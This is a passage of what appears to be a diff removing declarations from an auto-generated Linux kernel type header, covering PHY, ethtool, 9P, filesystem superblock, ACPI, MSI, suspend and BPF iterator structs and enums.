mii_timestamper *, struct sk_buff *, int); - int (*hwtstamp)(struct mii_timestamper *, struct ifreq *); - void (*link_state)(struct mii_timestamper *, struct phy_device *); - int (*ts_info)(struct mii_timestamper *, struct ethtool_ts_info *); - struct device *device; -}; - -struct phy_package_shared { - int addr; - refcount_t refcnt; - long unsigned int flags; - size_t priv_size; - void *priv; -}; - -struct phy_driver { - struct mdio_driver_common mdiodrv; - u32 phy_id; - char *name; - u32 phy_id_mask; - const long unsigned int * const features; - u32 flags; - const void *driver_data; - int (*soft_reset)(struct phy_device *); - int (*config_init)(struct phy_device *); - int (*probe)(struct phy_device *); - int (*get_features)(struct phy_device *); - int (*get_rate_matching)(struct phy_device *, phy_interface_t); - int (*suspend)(struct phy_device *); - int (*resume)(struct phy_device *); - int (*config_aneg)(struct phy_device *); - int (*aneg_done)(struct phy_device *); - int (*read_status)(struct phy_device *); - int (*config_intr)(struct phy_device *); - irqreturn_t (*handle_interrupt)(struct phy_device *); - void (*remove)(struct phy_device *); - int (*match_phy_device)(struct phy_device *); - int (*set_wol)(struct phy_device *, struct ethtool_wolinfo *); - void (*get_wol)(struct phy_device *, struct ethtool_wolinfo *); - void (*link_change_notify)(struct phy_device *); - int (*read_mmd)(struct phy_device *, int, u16); - int (*write_mmd)(struct phy_device *, int, u16, u16); - int (*read_page)(struct phy_device *); - int (*write_page)(struct phy_device *, int); - int (*module_info)(struct phy_device *, struct ethtool_modinfo *); - int (*module_eeprom)(struct phy_device *, struct ethtool_eeprom *, u8 *); - int (*cable_test_start)(struct phy_device *); - int (*cable_test_tdr_start)(struct phy_device *, const struct phy_tdr_config *); - int (*cable_test_get_status)(struct phy_device *, bool *); - int (*get_sset_count)(struct phy_device *); - void (*get_strings)(struct phy_device *, u8 *); - void (*get_stats)(struct phy_device *, struct ethtool_stats *, u64 *); - int (*get_tunable)(struct phy_device *, struct ethtool_tunable *, void *); - int (*set_tunable)(struct phy_device *, struct ethtool_tunable *, const void *); - int (*set_loopback)(struct phy_device *, bool); - int (*get_sqi)(struct phy_device *); - int (*get_sqi_max)(struct phy_device *); -}; - -enum { - ETHTOOL_A_CABLE_PAIR_A = 0, - ETHTOOL_A_CABLE_PAIR_B = 1, - ETHTOOL_A_CABLE_PAIR_C = 2, - ETHTOOL_A_CABLE_PAIR_D = 3, -}; - -enum { - ETHTOOL_A_CABLE_RESULT_UNSPEC = 0, - ETHTOOL_A_CABLE_RESULT_PAIR = 1, - ETHTOOL_A_CABLE_RESULT_CODE = 2, - __ETHTOOL_A_CABLE_RESULT_CNT = 3, - ETHTOOL_A_CABLE_RESULT_MAX = 2, -}; - -enum { - ETHTOOL_A_CABLE_FAULT_LENGTH_UNSPEC = 0, - ETHTOOL_A_CABLE_FAULT_LENGTH_PAIR = 1, - ETHTOOL_A_CABLE_FAULT_LENGTH_CM = 2, - __ETHTOOL_A_CABLE_FAULT_LENGTH_CNT = 3, - ETHTOOL_A_CABLE_FAULT_LENGTH_MAX = 2, -}; - -enum { - ETHTOOL_A_CABLE_TEST_NTF_STATUS_UNSPEC = 0, - ETHTOOL_A_CABLE_TEST_NTF_STATUS_STARTED = 1, - ETHTOOL_A_CABLE_TEST_NTF_STATUS_COMPLETED = 2, -}; - -enum { - ETHTOOL_A_CABLE_NEST_UNSPEC = 0, - ETHTOOL_A_CABLE_NEST_RESULT = 1, - ETHTOOL_A_CABLE_NEST_FAULT_LENGTH = 2, - __ETHTOOL_A_CABLE_NEST_CNT = 3, - ETHTOOL_A_CABLE_NEST_MAX = 2, -}; - -enum { - ETHTOOL_A_CABLE_TEST_NTF_UNSPEC = 0, - ETHTOOL_A_CABLE_TEST_NTF_HEADER = 1, - ETHTOOL_A_CABLE_TEST_NTF_STATUS = 2, - ETHTOOL_A_CABLE_TEST_NTF_NEST = 3, - __ETHTOOL_A_CABLE_TEST_NTF_CNT = 4, - ETHTOOL_A_CABLE_TEST_NTF_MAX = 3, -}; - -enum { - ETHTOOL_A_CABLE_TEST_TDR_CFG_UNSPEC = 0, - ETHTOOL_A_CABLE_TEST_TDR_CFG_FIRST = 1, - ETHTOOL_A_CABLE_TEST_TDR_CFG_LAST = 2, - ETHTOOL_A_CABLE_TEST_TDR_CFG_STEP = 3, - ETHTOOL_A_CABLE_TEST_TDR_CFG_PAIR = 4, - __ETHTOOL_A_CABLE_TEST_TDR_CFG_CNT = 5, - ETHTOOL_A_CABLE_TEST_TDR_CFG_MAX = 4, -}; - -enum { - ETHTOOL_A_CABLE_AMPLITUDE_UNSPEC = 0, - ETHTOOL_A_CABLE_AMPLITUDE_PAIR = 1, - ETHTOOL_A_CABLE_AMPLITUDE_mV = 2, - __ETHTOOL_A_CABLE_AMPLITUDE_CNT = 3, - ETHTOOL_A_CABLE_AMPLITUDE_MAX = 2, -}; - -enum { - ETHTOOL_A_CABLE_PULSE_UNSPEC = 0, - ETHTOOL_A_CABLE_PULSE_mV = 1, - __ETHTOOL_A_CABLE_PULSE_CNT = 2, - ETHTOOL_A_CABLE_PULSE_MAX = 1, -}; - -enum { - ETHTOOL_A_CABLE_STEP_UNSPEC = 0, - ETHTOOL_A_CABLE_STEP_FIRST_DISTANCE = 1, - ETHTOOL_A_CABLE_STEP_LAST_DISTANCE = 2, - ETHTOOL_A_CABLE_STEP_STEP_DISTANCE = 3, - __ETHTOOL_A_CABLE_STEP_CNT = 4, - ETHTOOL_A_CABLE_STEP_MAX = 3, -}; - -enum { - ETHTOOL_A_CABLE_TDR_NEST_UNSPEC = 0, - ETHTOOL_A_CABLE_TDR_NEST_STEP = 1, - ETHTOOL_A_CABLE_TDR_NEST_AMPLITUDE = 2, - ETHTOOL_A_CABLE_TDR_NEST_PULSE = 3, - __ETHTOOL_A_CABLE_TDR_NEST_CNT = 4, - ETHTOOL_A_CABLE_TDR_NEST_MAX = 3, -}; - -enum ip_conntrack_events { - IPCT_NEW = 0, - IPCT_RELATED = 1, - IPCT_DESTROY = 2, - IPCT_REPLY = 3, - IPCT_ASSURED = 4, - IPCT_PROTOINFO = 5, - IPCT_HELPER = 6, - IPCT_MARK = 7, - IPCT_SEQADJ = 8, - IPCT_NATSEQADJ = 8, - IPCT_SECMARK = 9, - IPCT_LABEL = 10, - IPCT_SYNPROXY = 11, - __IPCT_MAX = 12, -}; - -enum { - XT_CONNMARK_SET = 0, - XT_CONNMARK_SAVE = 1, - XT_CONNMARK_RESTORE = 2, -}; - -enum { - D_SHIFT_LEFT = 0, - D_SHIFT_RIGHT = 1, -}; - -struct xt_connmark_tginfo1 { - __u32 ctmark; - __u32 ctmask; - __u32 nfmask; - __u8 mode; -}; - -struct xt_connmark_tginfo2 { - __u32 ctmark; - __u32 ctmask; - __u32 nfmask; - __u8 shift_dir; - __u8 shift_bits; - __u8 mode; -}; - -struct xt_connmark_mtinfo1 { - __u32 mark; - __u32 mask; - __u8 invert; -}; - -struct xfrm_dst; - -struct xfrm_policy_afinfo { - struct dst_ops *dst_ops; - struct dst_entry * (*dst_lookup)(struct net *, int, int, const xfrm_address_t *, const xfrm_address_t *, u32); - int (*get_saddr)(struct net *, int, xfrm_address_t *, xfrm_address_t *, u32); - int (*fill_dst)(struct xfrm_dst *, struct net_device *, const struct flowi *); - struct dst_entry * (*blackhole_route)(struct net *, struct dst_entry *); -}; - -struct xfrm_dst { - union { - struct dst_entry dst; - struct rtable rt; - struct rt6_info rt6; - } u; - struct dst_entry *route; - struct dst_entry *child; - struct dst_entry *path; - struct xfrm_policy *pols[2]; - int num_pols; - int num_xfrms; - u32 xfrm_genid; - u32 policy_genid; - u32 route_mtu_cached; - u32 child_mtu_cached; - u32 route_cookie; - u32 path_cookie; -}; - -typedef u8 dscp_t; - -typedef struct rt6_info * (*pol_lookup_t)(struct net *, struct fib6_table *, struct flowi6 *, const struct sk_buff *, int); - -struct fib6_rule { - struct fib_rule common; - struct rt6key src; - struct rt6key dst; - dscp_t dscp; -}; - -typedef s8 int8_t; - -enum p9_msg_t { - P9_TLERROR = 6, - P9_RLERROR = 7, - P9_TSTATFS = 8, - P9_RSTATFS = 9, - P9_TLOPEN = 12, - P9_RLOPEN = 13, - P9_TLCREATE = 14, - P9_RLCREATE = 15, - P9_TSYMLINK = 16, - P9_RSYMLINK = 17, - P9_TMKNOD = 18, - P9_RMKNOD = 19, - P9_TRENAME = 20, - P9_RRENAME = 21, - P9_TREADLINK = 22, - P9_RREADLINK = 23, - P9_TGETATTR = 24, - P9_RGETATTR = 25, - P9_TSETATTR = 26, - P9_RSETATTR = 27, - P9_TXATTRWALK = 30, - P9_RXATTRWALK = 31, - P9_TXATTRCREATE = 32, - P9_RXATTRCREATE = 33, - P9_TREADDIR = 40, - P9_RREADDIR = 41, - P9_TFSYNC = 50, - P9_RFSYNC = 51, - P9_TLOCK = 52, - P9_RLOCK = 53, - P9_TGETLOCK = 54, - P9_RGETLOCK = 55, - P9_TLINK = 70, - P9_RLINK = 71, - P9_TMKDIR = 72, - P9_RMKDIR = 73, - P9_TRENAMEAT = 74, - P9_RRENAMEAT = 75, - P9_TUNLINKAT = 76, - P9_RUNLINKAT = 77, - P9_TVERSION = 100, - P9_RVERSION = 101, - P9_TAUTH = 102, - P9_RAUTH = 103, - P9_TATTACH = 104, - P9_RATTACH = 105, - P9_TERROR = 106, - P9_RERROR = 107, - P9_TFLUSH = 108, - P9_RFLUSH = 109, - P9_TWALK = 110, - P9_RWALK = 111, - P9_TOPEN = 112, - P9_ROPEN = 113, - P9_TCREATE = 114, - P9_RCREATE = 115, - P9_TREAD = 116, - P9_RREAD = 117, - P9_TWRITE = 118, - P9_RWRITE = 119, - P9_TCLUNK = 120, - P9_RCLUNK = 121, - P9_TREMOVE = 122, - P9_RREMOVE = 123, - P9_TSTAT = 124, - P9_RSTAT = 125, - P9_TWSTAT = 126, - P9_RWSTAT = 127, -}; - -struct p9_qid { - u8 type; - u32 version; - u64 path; -}; - -struct p9_wstat { - u16 size; - u16 type; - u32 dev; - struct p9_qid qid; - u32 mode; - u32 atime; - u32 mtime; - u64 length; - const char *name; - const char *uid; - const char *gid; - const char *muid; - char *extension; - kuid_t n_uid; - kgid_t n_gid; - kuid_t n_muid; -}; - -struct p9_stat_dotl { - u64 st_result_mask; - struct p9_qid qid; - u32 st_mode; - kuid_t st_uid; - kgid_t st_gid; - u64 st_nlink; - u64 st_rdev; - u64 st_size; - u64 st_blksize; - u64 st_blocks; - u64 st_atime_sec; - u64 st_atime_nsec; - u64 st_mtime_sec; - u64 st_mtime_nsec; - u64 st_ctime_sec; - u64 st_ctime_nsec; - u64 st_btime_sec; - u64 st_btime_nsec; - u64 st_gen; - u64 st_data_version; -}; - -struct p9_iattr_dotl { - u32 valid; - u32 mode; - kuid_t uid; - kgid_t gid; - u64 size; - u64 atime_sec; - u64 atime_nsec; - u64 mtime_sec; - u64 mtime_nsec; -}; - -struct p9_flock { - u8 type; - u32 flags; - u64 start; - u64 length; - u32 proc_id; - char *client_id; -}; - -struct p9_getlock { - u8 type; - u64 start; - u64 length; - u32 proc_id; - char *client_id; -}; - -struct p9_rstatfs { - u32 type; - u32 bsize; - u64 blocks; - u64 bfree; - u64 bavail; - u64 files; - u64 ffree; - u64 fsid; - u32 namelen; -}; - -struct p9_fcall { - u32 size; - u8 id; - u16 tag; - size_t offset; - size_t capacity; - struct kmem_cache *cache; - u8 *sdata; -}; - -enum p9_proto_versions { - p9_proto_legacy = 0, - p9_proto_2000u = 1, - p9_proto_2000L = 2, -}; - -enum p9_trans_status { - Connected = 0, - BeginDisconnect = 1, - Disconnected = 2, - Hung = 3, -}; - -enum p9_req_status_t { - REQ_STATUS_ALLOC = 0, - REQ_STATUS_UNSENT = 1, - REQ_STATUS_SENT = 2, - REQ_STATUS_RCVD = 3, - REQ_STATUS_FLSHD = 4, - REQ_STATUS_ERROR = 5, -}; - -struct p9_req_t { - int status; - int t_err; - refcount_t refcount; - wait_queue_head_t wq; - struct p9_fcall tc; - struct p9_fcall rc; - struct list_head req_list; -}; - -struct p9_trans_module; - -struct p9_client { - spinlock_t lock; - unsigned int msize; - unsigned char proto_version; - struct p9_trans_module *trans_mod; - enum p9_trans_status status; - void *trans; - struct kmem_cache *fcall_cache; - union { - struct { - int rfd; - int wfd; - } fd; - struct { - u16 port; - bool privport; - } tcp; - } trans_opts; - struct idr fids; - struct idr reqs; - char name[65]; -}; - -struct p9_trans_module { - struct list_head list; - char *name; - int maxsize; - bool pooled_rbuffers; - int def; - struct module *owner; - int (*create)(struct p9_client *, const char *, char *); - void (*close)(struct p9_client *); - int (*request)(struct p9_client *, struct p9_req_t *); - int (*cancel)(struct p9_client *, struct p9_req_t *); - int (*cancelled)(struct p9_client *, struct p9_req_t *); - int (*zc_request)(struct p9_client *, struct p9_req_t *, struct iov_iter *, struct iov_iter *, int, int, int); - int (*show_options)(struct seq_file *, struct p9_client *); -}; - -struct p9_fid { - struct p9_client *clnt; - u32 fid; - refcount_t count; - int mode; - struct p9_qid qid; - u32 iounit; - kuid_t uid; - void *rdir; - struct hlist_node dlist; - struct hlist_node ilist; -}; - -enum p9_fid_reftype { - P9_FID_REF_CREATE = 0, - P9_FID_REF_GET = 1, - P9_FID_REF_PUT = 2, - P9_FID_REF_DESTROY = 3, -} __attribute__((mode(byte))); - -struct trace_event_raw_9p_client_req { - struct trace_entry ent; - void *clnt; - __u8 type; - __u32 tag; - char __data[0]; -}; - -struct trace_event_raw_9p_client_res { - struct trace_entry ent; - void *clnt; - __u8 type; - __u32 tag; - __u32 err; - char __data[0]; -}; - -struct trace_event_raw_9p_protocol_dump { - struct trace_entry ent; - void *clnt; - __u8 type; - __u16 tag; - unsigned char line[32]; - char __data[0]; -}; - -struct trace_event_raw_9p_fid_ref { - struct trace_entry ent; - int fid; - int refcount; - __u8 type; - char __data[0]; -}; - -struct trace_event_data_offsets_9p_client_req {}; - -struct trace_event_data_offsets_9p_client_res {}; - -struct trace_event_data_offsets_9p_protocol_dump {}; - -struct trace_event_data_offsets_9p_fid_ref {}; - -typedef void (*btf_trace_9p_client_req)(void *, struct p9_client *, int8_t, int); - -typedef void (*btf_trace_9p_client_res)(void *, struct p9_client *, int8_t, int, int); - -typedef void (*btf_trace_9p_protocol_dump)(void *, struct p9_client *, struct p9_fcall *); - -typedef void (*btf_trace_9p_fid_ref)(void *, struct p9_fid *, __u8); - -enum { - Opt_msize = 0, - Opt_trans = 1, - Opt_legacy = 2, - Opt_version = 3, - Opt_err___2 = 4, -}; - -struct minix_super_block { - __u16 s_ninodes; - __u16 s_nzones; - __u16 s_imap_blocks; - __u16 s_zmap_blocks; - __u16 s_firstdatazone; - __u16 s_log_zone_size; - __u32 s_max_size; - __u16 s_magic; - __u16 s_state; - __u32 s_zones; -}; - -struct romfs_super_block { - __be32 word0; - __be32 word1; - __be32 size; - __be32 checksum; - char name[0]; -}; - -struct cramfs_inode { - __u32 mode: 16; - __u32 uid: 16; - __u32 size: 24; - __u32 gid: 8; - __u32 namelen: 6; - __u32 offset: 26; -}; - -struct cramfs_info { - __u32 crc; - __u32 edition; - __u32 blocks; - __u32 files; -}; - -struct cramfs_super { - __u32 magic; - __u32 size; - __u32 flags; - __u32 future; - __u8 signature[16]; - struct cramfs_info fsid; - __u8 name[16]; - struct cramfs_inode root; -}; - -struct squashfs_super_block { - __le32 s_magic; - __le32 inodes; - __le32 mkfs_time; - __le32 block_size; - __le32 fragments; - __le16 compression; - __le16 block_log; - __le16 flags; - __le16 no_ids; - __le16 s_major; - __le16 s_minor; - __le64 root_inode; - __le64 bytes_used; - __le64 id_table_start; - __le64 xattr_id_table_start; - __le64 inode_table_start; - __le64 directory_table_start; - __le64 fragment_table_start; - __le64 lookup_table_start; -}; - -typedef int (*decompress_fn)(unsigned char *, long int, long int (*)(void *, long unsigned int), long int (*)(void *, long unsigned int), unsigned char *, long int *, void (*)(char *)); - -struct mpc_intsrc { - unsigned char type; - unsigned char irqtype; - short unsigned int irqflag; - unsigned char srcbus; - unsigned char srcbusirq; - unsigned char dstapic; - unsigned char dstirq; -}; - -enum mp_irq_source_types { - mp_INT = 0, - mp_NMI = 1, - mp_SMI = 2, - mp_ExtINT = 3, -}; - -struct x86_init_mpparse { - void (*setup_ioapic_ids)(); - void (*find_smp_config)(); - void (*get_smp_config)(unsigned int); -}; - -struct x86_init_resources { - void (*probe_roms)(); - void (*reserve_resources)(); - char * (*memory_setup)(); -}; - -struct x86_init_irqs { - void (*pre_vector_init)(); - void (*intr_init)(); - void (*intr_mode_select)(); - void (*intr_mode_init)(); - struct irq_domain * (*create_pci_msi_domain)(); -}; - -struct x86_init_oem { - void (*arch_setup)(); - void (*banner)(); -}; - -struct x86_init_paging { - void (*pagetable_init)(); -}; - -struct x86_init_timers { - void (*setup_percpu_clockev)(); - void (*timer_init)(); - void (*wallclock_init)(); -}; - -struct x86_init_iommu { - int (*iommu_init)(); -}; - -struct x86_init_pci { - int (*arch_init)(); - int (*init)(); - void (*init_irq)(); - void (*fixup_irqs)(); -}; - -struct x86_hyper_init { - void (*init_platform)(); - void (*guest_late_init)(); - bool (*x2apic_available)(); - bool (*msi_ext_dest_id)(); - void (*init_mem_mapping)(); - void (*init_after_bootmem)(); -}; - -struct x86_init_acpi { - void (*set_root_pointer)(u64); - u64 (*get_root_pointer)(); - void (*reduced_hw_early_init)(); -}; - -struct x86_init_ops { - struct x86_init_resources resources; - struct x86_init_mpparse mpparse; - struct x86_init_irqs irqs; - struct x86_init_oem oem; - struct x86_init_paging paging; - struct x86_init_timers timers; - struct x86_init_iommu iommu; - struct x86_init_pci pci; - struct x86_hyper_init hyper; - struct x86_init_acpi acpi; -}; - -struct platform_msi_priv_data; - -struct msi_device_data { - long unsigned int properties; - struct platform_msi_priv_data *platform_data; - struct mutex mutex; - struct xarray __store; - long unsigned int __iter_idx; -}; - -struct acpi_table_boot { - struct acpi_table_header header; - u8 cmos_index; - u8 reserved[3]; -}; - -struct acpi_cedt_header { - u8 type; - u8 reserved; - u16 length; -}; - -struct acpi_hmat_structure { - u16 type; - u16 reserved; - u32 length; -}; - -struct acpi_table_hpet { - struct acpi_table_header header; - u32 id; - struct acpi_generic_address address; - u8 sequence; - u16 minimum_tick; - u8 flags; -} __attribute__((packed)); - -struct acpi_madt_interrupt_override { - struct acpi_subtable_header header; - u8 bus; - u8 source_irq; - u32 global_irq; - u16 inti_flags; -} __attribute__((packed)); - -struct acpi_madt_nmi_source { - struct acpi_subtable_header header; - u16 inti_flags; - u32 global_irq; -}; - -struct acpi_madt_local_apic_nmi { - struct acpi_subtable_header header; - u8 processor_id; - u16 inti_flags; - u8 lint; -} __attribute__((packed)); - -struct acpi_madt_local_apic_override { - struct acpi_subtable_header header; - u16 reserved; - u64 address; -} __attribute__((packed)); - -struct acpi_madt_local_x2apic_nmi { - struct acpi_subtable_header header; - u16 inti_flags; - u32 uid; - u8 lint; - u8 reserved[3]; -}; - -struct acpi_madt_multiproc_wakeup { - struct acpi_subtable_header header; - u16 mailbox_version; - u32 reserved; - u64 base_address; -}; - -struct acpi_madt_multiproc_wakeup_mailbox { - u16 command; - u16 reserved; - u32 apic_id; - u64 wakeup_vector; - u8 reserved_os[2032]; - u8 reserved_firmware[2048]; -}; - -struct acpi_prmt_module_header { - u16 revision; - u16 length; -}; - -enum acpi_irq_model_id { - ACPI_IRQ_MODEL_PIC = 0, - ACPI_IRQ_MODEL_IOAPIC = 1, - ACPI_IRQ_MODEL_IOSAPIC = 2, - ACPI_IRQ_MODEL_PLATFORM = 3, - ACPI_IRQ_MODEL_GIC = 4, - ACPI_IRQ_MODEL_LPIC = 5, - ACPI_IRQ_MODEL_COUNT = 6, -}; - -union acpi_subtable_headers { - struct acpi_subtable_header common; - struct acpi_hmat_structure hmat; - struct acpi_prmt_module_header prmt; - struct acpi_cedt_header cedt; -}; - -typedef int (*acpi_tbl_table_handler)(struct acpi_table_header *); - -typedef int (*acpi_tbl_entry_handler)(union acpi_subtable_headers *, const long unsigned int); - -typedef int (*acpi_tbl_entry_handler_arg)(union acpi_subtable_headers *, void *, const long unsigned int); - -struct acpi_subtable_proc { - int id; - acpi_tbl_entry_handler handler; - acpi_tbl_entry_handler_arg handler_arg; - void *arg; - int count; -}; - -struct x86_msi_addr_lo { - union { - struct { - u32 reserved_0: 2; - u32 dest_mode_logical: 1; - u32 redirect_hint: 1; - u32 reserved_1: 1; - u32 virt_destid_8_14: 7; - u32 destid_0_7: 8; - u32 base_address: 12; - }; - struct { - u32 dmar_reserved_0: 2; - u32 dmar_index_15: 1; - u32 dmar_subhandle_valid: 1; - u32 dmar_format: 1; - u32 dmar_index_0_14: 15; - u32 dmar_base_address: 12; - }; - }; -}; - -typedef struct x86_msi_addr_lo arch_msi_msg_addr_lo_t; - -struct x86_msi_addr_hi { - u32 reserved: 8; - u32 destid_8_31: 24; -}; - -typedef struct x86_msi_addr_hi arch_msi_msg_addr_hi_t; - -struct x86_msi_data { - union { - struct { - u32 vector: 8; - u32 delivery_mode: 3; - u32 dest_mode_logical: 1; - u32 reserved: 2; - u32 active_low: 1; - u32 is_level: 1; - }; - u32 dmar_subhandle; - }; -}; - -typedef struct x86_msi_data arch_msi_msg_data_t; - -struct msi_msg { - union { - u32 address_lo; - arch_msi_msg_addr_lo_t arch_addr_lo; - }; - union { - u32 address_hi; - arch_msi_msg_addr_hi_t arch_addr_hi; - }; - union { - u32 data; - arch_msi_msg_data_t arch_data; - }; -}; - -struct pci_msi_desc { - union { - u32 msi_mask; - u32 msix_ctrl; - }; - struct { - u8 is_msix: 1; - u8 multiple: 3; - u8 multi_cap: 3; - u8 can_mask: 1; - u8 is_64: 1; - u8 is_virtual: 1; - unsigned int default_irq; - } msi_attrib; - union { - u8 mask_pos; - void *mask_base; - }; -}; - -struct msi_desc { - unsigned int irq; - unsigned int nvec_used; - struct device *dev; - struct msi_msg msg; - struct irq_affinity_desc *affinity; - const void *iommu_cookie; - struct device_attribute *sysfs_attrs; - void (*write_msi_msg)(struct msi_desc *, void *); - void *write_msi_msg_data; - u16 msi_index; - struct pci_msi_desc pci; -}; - -enum ioapic_domain_type { - IOAPIC_DOMAIN_INVALID = 0, - IOAPIC_DOMAIN_LEGACY = 1, - IOAPIC_DOMAIN_STRICT = 2, - IOAPIC_DOMAIN_DYNAMIC = 3, -}; - -struct ioapic_domain_cfg { - enum ioapic_domain_type type; - const struct irq_domain_ops *ops; - struct device_node *dev; -}; - -typedef int (*wakeup_cpu_handler)(int, long unsigned int); - -struct swait_queue { - struct task_struct *task; - struct list_head task_list; -}; - -typedef int suspend_state_t; - -enum suspend_stat_step { - SUSPEND_FREEZE = 1, - SUSPEND_PREPARE = 2, - SUSPEND_SUSPEND = 3, - SUSPEND_SUSPEND_LATE = 4, - SUSPEND_SUSPEND_NOIRQ = 5, - SUSPEND_RESUME_NOIRQ = 6, - SUSPEND_RESUME_EARLY = 7, - SUSPEND_RESUME = 8, -}; - -struct suspend_stats { - int success; - int fail; - int failed_freeze; - int failed_prepare; - int failed_suspend; - int failed_suspend_late; - int failed_suspend_noirq; - int failed_resume; - int failed_resume_early; - int failed_resume_noirq; - int last_failed_dev; - char failed_devs[80]; - int last_failed_errno; - int errno[2]; - int last_failed_step; - enum suspend_stat_step failed_steps[2]; -}; - -struct platform_suspend_ops { - int (*valid)(suspend_state_t); - int (*begin)(suspend_state_t); - int (*prepare)(); - int (*prepare_late)(); - int (*enter)(suspend_state_t); - void (*wake)(); - void (*finish)(); - bool (*suspend_again)(); - void (*end)(); - void (*recover)(); -}; - -struct platform_s2idle_ops { - int (*begin)(); - int (*prepare)(); - int (*prepare_late)(); - void (*check)(); - bool (*wake)(); - void (*restore_early)(); - void (*restore)(); - void (*end)(); -}; - -enum s2idle_states { - S2IDLE_STATE_NONE = 0, - S2IDLE_STATE_ENTER = 1, - S2IDLE_STATE_WAKE = 2, -}; - -enum { - TEST_NONE = 0, - TEST_CORE = 1, - TEST_CPUS = 2, - TEST_PLATFORM = 3, - TEST_DEVICES = 4, - TEST_FREEZER = 5, - __TEST_AFTER_LAST = 6, -}; - -enum { - TRACE_NOP_OPT_ACCEPT = 1, - TRACE_NOP_OPT_REFUSE = 2, -}; - -struct freelist_node { - atomic_t refs; - struct freelist_node *next; -}; - -struct freelist_head { - struct freelist_node *head; -}; - -struct rethook_node; - -typedef void (*rethook_handler_t)(struct rethook_node *, void *, struct pt_regs *); - -struct rethook; - -struct rethook_node { - union { - struct freelist_node freelist; - struct callback_head rcu; - }; - struct llist_node llist; - struct rethook *rethook; - long unsigned int ret_addr; - long unsigned int frame; -}; - -struct rethook { - void *data; - rethook_handler_t handler; - struct freelist_head pool; - refcount_t ref; - struct callback_head rcu; -}; - -enum { - CSD_FLAG_LOCK = 1, - IRQ_WORK_PENDING = 1, - IRQ_WORK_BUSY = 2, - IRQ_WORK_LAZY = 4, - IRQ_WORK_HARD_IRQ = 8, - IRQ_WORK_CLAIMED = 3, - CSD_TYPE_ASYNC = 0, - CSD_TYPE_SYNC = 16, - CSD_TYPE_IRQ_WORK = 32, - CSD_TYPE_TTWU = 48, - CSD_FLAG_TYPE_MASK = 240, -}; - -union bpf_iter_link_info { - struct { - __u32 map_fd; - } map; - struct { - enum bpf_cgroup_iter_order order; - __u32 cgroup_fd; - __u64 cgroup_id; - } cgroup; - struct { - __u32 tid; - __u32 pid; - __u32 pid_fd; - } task; -}; - -typedef int (*bpf_iter_attach_target_t)(struct bpf_prog *, union bpf_iter_link_info *, struct bpf_iter_aux_info *); - -typedef void (*bpf_iter_detach_target_t)(struct bpf_iter_aux_info *); - -typedef void (*bpf_iter_show_fdinfo_t)(const struct bpf_iter_aux_info *, struct seq_file *); - -typedef int (*bpf_iter_fill_link_info_t)(const struct bpf_iter_aux_info *, struct bpf_link_info *); - -typedef const struct bpf_func_proto * (*bpf_iter_get_func_proto_t)(enum bpf_func_id, const struct bpf_prog *); - -enum bpf_iter_feature { - BPF_ITER_RESCHED = 1, -}; - -struct bpf_iter_reg { - const char *target; - bpf_iter_attach_target_t attach_target; - bpf_iter_detach_target_t detach_target; - bpf_iter_show_fdinfo_t show_fdinfo; - bpf_iter_fill_link_info_t fill_link_info; - bpf_iter_get_func_proto_t get_func_proto; - u32 ctx_arg_info_size; - u32 feature; - struct bpf_ctx_arg_aux ctx_arg_info[2]; - const struct bpf_iter_seq_info *seq_info; -}; - -struct bpf_iter_meta { - union { - struct seq_file *seq; - }; - u64 session_id; - u64 seq_num; -}; - -struct mmap_unlock_irq_work { - struct irq_work irq_work; - struct mm_struct *mm; -}; - -struct bpf_iter_seq_task_common { - struct pid_namespace *ns; - enum bpf_iter_task_type type; - u32 pid; - u32 pid_visiting; -}; - -struct bpf_iter_seq_task_info { - struct bpf_iter_seq_task_common common; - u32 tid; -}; - -struct bpf_iter__task { - union { - struct bpf_iter_meta *meta; - }; - union { - struct task_struct *task; - }; -}; - -struct bpf_iter_seq_task_file_info { - struct bpf_iter_seq_task_common common; - struct task_struct *task; - u32 tid; - u32 fd; -}; - -struct bpf_iter__task_file { - union { - struct bpf_iter_meta *meta; - }; - union { - struct task_struct *task; - }; - u32 fd; - union { - struct file *file; - }; -}; - -struct bpf_iter_seq_task_vma_info { - struct bpf_iter_seq_task_common common; - struct task_struct *task; - struct vm_area_struct *vma; - u32 tid; - long unsigned int prev_vm_start; - long unsigned int prev_vm_end; -}; - -enum bpf_task_vma_iter_find_op { - task_vma_iter_first_vma = 0, - task_vma_iter_next_vma = 1, - task_vma_iter_find_vma = 2, -}; - -struct bpf_iter__task_vma { - union { - struct bpf_iter_meta *meta; - }; - union { - struct task_struct *task; - }; - union { - struct vm_area_struct *vma; - }; -}; - -typedef u64 (*btf_bpf_find_vma)(struct task_struct *, u64, bpf_callback_t, void *, u64); - -enum dentry_d_lock_class { - DENTRY_D_LOCK_NORMAL = 0, - DENTRY_D_LOCK_NESTED = 1, -}; - -struct kstatfs { - long int f_type; - long int f_bsize; - u64 f_blocks; - u64 f_bfree; - u64 f_bavail; - u64 f_files; - u64 f_ffree; - __kernel_fsid_t f_fsid; - long int f_namelen; - long int f_frsize; - long int f_flags; - long int f_spare[4]; -}; - -struct simple_transaction_argresp { - ssize_t size; - char data[0]; -}; - -enum fid_type { - FILEID_ROOT = 0, - FILEID_INO32_GEN = 1, - FILEID_INO32_GEN_PARENT = 2, - FILEID_BTRFS_WITHOUT_PARENT = 77, - FILEID_BTRFS_WITH_PARENT = 78, - FILEID_BTRFS_WITH_PARENT_ROOT = 79, - FILEID_UDF_WITHOUT_PARENT = 81, - FILEID_UDF_WITH_PARENT = 82, - FILEID_NILFS_WITHOUT_PARENT = 97, - FILEID_NILFS_WITH_PARENT = 98, - FILEID_FAT_WITHOUT_PARENT = 113, - FILEID_FAT_WITH_PARENT = 114, - FILEID_LUSTRE = 151, - FILEID_KERNFS = 254, - FILEID_INVALID = 255, -}; - -struct fid { - union { - struct { - u32 ino; - u32 gen; - u32 parent_ino; - u32 parent_gen; - } i32; - struct { - u32 block; - u16 partref; - u16 parent_partref; - u32 generation; - u32 parent_block; - u32 parent_generation; - } udf; - __u32 raw[0]; - }; -}; - -enum fsnotify_iter_type { - FSNOTIFY_ITER_TYPE_INODE = 0, - FSNOTIFY_ITER_TYPE_VFSMOUNT = 1, - FSNOTIFY_ITER_TYPE_SB = 2, - FSNOTIFY_ITER_TYPE_PARENT = 3, - FSNOTIFY_ITER_TYPE_INODE2 = 4, - FSNOTIFY_ITER_TYPE_COUNT = 5, -}; - -enum utf8_normalization { - UTF8_NFDI = 0, - UTF8_NFDICF = 1, - UTF8_NMAX = 2, -}; - -struct simple_attr { - int (*get)(void *, u64 *); - int (*set)(void *, u64); - char get_buf[24]; - char set_buf[24]; - void *data; - const char *fmt; - struct mutex mutex; -}; - -struct 